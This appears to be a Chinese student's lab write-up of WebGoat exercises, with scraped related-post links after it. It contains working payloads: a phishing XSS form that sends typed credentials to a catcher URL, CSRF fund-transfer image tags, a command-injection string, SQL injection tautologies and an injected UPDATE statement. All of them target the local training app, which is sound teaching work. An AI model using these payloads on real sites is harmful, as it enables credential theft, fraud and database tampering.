20145225唐振远《网络对抗》Web安全基础实践

参考博客:20145215 卢肖明

基础问题回答

(1)SQL注入攻击原理,如何防御?

  • SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

  • 防御:利用输入规则限制进行防御,过滤输入的数据,不允许特殊字符输入。

(2)XSS攻击的原理,如何防御?

  • 跨站脚本攻击,允许恶意用户将恶意Script代码注入到网页上,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,从而被攻击,其他用户在观看网页时就会受到影响。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。

  • 防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

(3)CSRF攻击原理,如何防御?

  • CSRF攻击即跨站伪造攻击,顾名思义,就是攻击者向目标网站注入一个恶意的URL跨站地址,当用户点击了该URL,就可以进行一些用户本不希望的事情。
  • 防御:通过referer、token或者验证码来检测用户提交;在form中包含秘密信息、用户指定的代号作为cookie之外的验证;定期清理保存的cookie。

WebGoat

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们本次的实验就是在WebGoat平台上进行。
    1. WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat:

2.WebGoat使用8080端口,所以在浏览器上访问localhost:8080/WebGoat,进入WebGoat之后,可以看到有很多题目来让我们进行练习。

Phishing with XSS

  1. 这个题目我们要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,完整的XSS攻击代码如下:

    </form>
    <script>
    function hack(){
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>

    输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你

攻击成功:

Stored XSS Attacks

  1. 我们的目标是要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,这个很容易啊,在上个实验中我们也做过,直接在title里随便输点啥,然后在message中输入一串代码,比如:<script>alert("5225 attack succeed!");</script>

Reflected XSS Attacks

  1. 当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:

在code框中输入<script>alert("5225 attack succeed!");</script>将带有攻击性的URL作为输入源。

弹出会话框,反射型XSS攻击成功!

Cross Site Request Forgery

写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=270&menu=900&transferFunds=4000"/>

(Screen和menu的值在窗口右边查看)

提交后在下面的Message List里面可以看我刚刚发送的消息,点击它,当前页面就会下载这个消息并显示出来,转走用户的5225元,从而达到CSRF攻击的目的

Screen和menu的值每个人的电脑可能不一样,可以在当前页面的右边有个Parameters进行查看:

提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

浏览器开启一个新页面,输入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=5000进入确认转账请求页面。

点击CONFIRM之后,再输入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=CONFIRM

成功转走了5000元。原因是网页的源代码中transferFunds的值变成了CONFIRM。

Command Injection

浏览器下的一个扩展Firebug对源代码进行修改,右键点击BackDoors.help旁边加上 "& netstat -an & ipconfig"

选中修改后的值再点击view,可以看到命令被执行,出现系统网络连接情况:

Numeric SQL Injection

在103后面加上一个 or 1=1使其成为永真式。

点击Go!发现已经成功了。

String SQL Injection

输入' or 1=1 --构造永真式。点击Go!发现所有用户信息都被显示出来了。

LAB:SQL Injection(Stage 1:String SQL Injection)

输入' or 1=1 --注入,失败。在输入框右键打开html源码,发现maxlength被限制为8。修改成20,再次登陆,成功!

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

在上一个实验的基础上,过一个普通员工的账户larry,浏览其BOSS的账户信息。

在larry的名字右键,打开源码,发现这个地方是以员工ID作为索引传递参数的。将value的值修改为101 or 1=1 order by salary desc --

这样老板的信息就会被排到第一个。

再次点击ViewProfile,发现已经看到老板的信息了。

Database Backdoors

先输入101,得到该用户的信息:

注入语句101; update employee set salary=5225,将其工资变为了5225。

20145225唐振远《网络对抗》 Web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 20145225唐振远《网络对抗》Exp4 恶意代码分析

    20145225唐振远<网络对抗>Exp4 恶意代码分析 基础问题回答 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪 ...

  3. 20145225唐振远 《Java程序设计》第1周学习总结——小试牛刀

    20145225唐振远<Java程序设计>第1周学习总结——小试牛刀 教材学习内容总结 1.java语言概述:一门高级编程语言. 2.java语言的三种技术构架:java SE.java ...

  4. 20145225唐振远 实验二 "Java面向对象程序设计"

    20145225<Java程序设计> 实验二 Java面向对象程序设计 实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S ...

  5. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  6. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  7. 20145211黄志远《网络对抗》Exp9 Web安全基础实践

    20145211黄志远<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是利用输入的机会构造自己期望的请求,比如破坏掉用户名或者密码验 ...

  8. 20155324《网络对抗技术》web安全基础实践

    20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...

  9. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

随机推荐

  1. LightOJ 1030 - Discovering Gold - [概率DP]

    题目链接:https://cn.vjudge.net/problem/LightOJ-1030 You are in a cave, a long cave! The cave can be repr ...

  2. 20144306《网络对抗》MAL_PC平台逆向破解_Advanced

    PC平台逆向破解_Advanced 一.注入shellcode并执行 1.什么是shellcode? shellcode顾名思义就是一段为了获取交互式shell的机器指令,是用来发送到服务器利用特定漏 ...

  3. 新建虚拟机_WIN7 32位系统

    准备工作:下载win7 32位纯净版镜像文件 大部分步骤与安装XP系统相似,此处只说明一下不同: 创建好虚拟机后启动有报错:CHS data ERROR,无法从CD/DVD启动 编辑虚拟机--> ...

  4. 分布式网格缓存Coherence简介

    Coherence企业级缓存(一) 特点 摘要:Oracle Coherence是一个企业级的分布式集群缓存框架.具有自管理,自恢复,高可用性,高扩展性等优良特点,在电信BOSS等项目中有很大的应用价 ...

  5. JAVA包装类介绍(一)(包装类、基本类型数据)

     1. 包装类把基本类型数据转换为对象      1.1每个基本类型在java.lang包中都有一个相应的包装类  2.包装类有何作用 2.1 提供了一系列实用的方法 2.2集合不允许存放基本数据类型 ...

  6. 万恶之源 - Python基础数据类型三

    字典 字典的简单介绍 字典(dict)是python中唯⼀的⼀个映射类型.他是以{ }括起来的键值对组成. 在dict中key是 唯⼀的.在保存的时候, 根据key来计算出⼀个内存地址. 然后将key ...

  7. [django]JsonResponse序列化数据

    def home(request): data = { 'name': 'maotai', 'age': 22 } import json return HttpResponse(json.dumps ...

  8. [py]约瑟夫问题-循环队列

    约瑟夫问题(历史战争问题) 直观理解 老外视频讲解 模拟器演示 约瑟夫问题 数学姥公众号 讲的最清楚 背景及,推倒过程讲解得很清晰,旨在提高人们对数据的兴趣 简单说下: 几个人围成一圈(循环队列), ...

  9. [LeetCode] 285. Inorder Successor in BST_Medium tag: Inorder Traversal

    Given a binary search tree and a node in it, find the in-order successor of that node in the BST. No ...

  10. STL学习笔记--特殊容器

    容器配接器 (1) stack 栈 后进先出(LIFO), 头文件#include<stack> template<class _Ty, class _Container = deq ...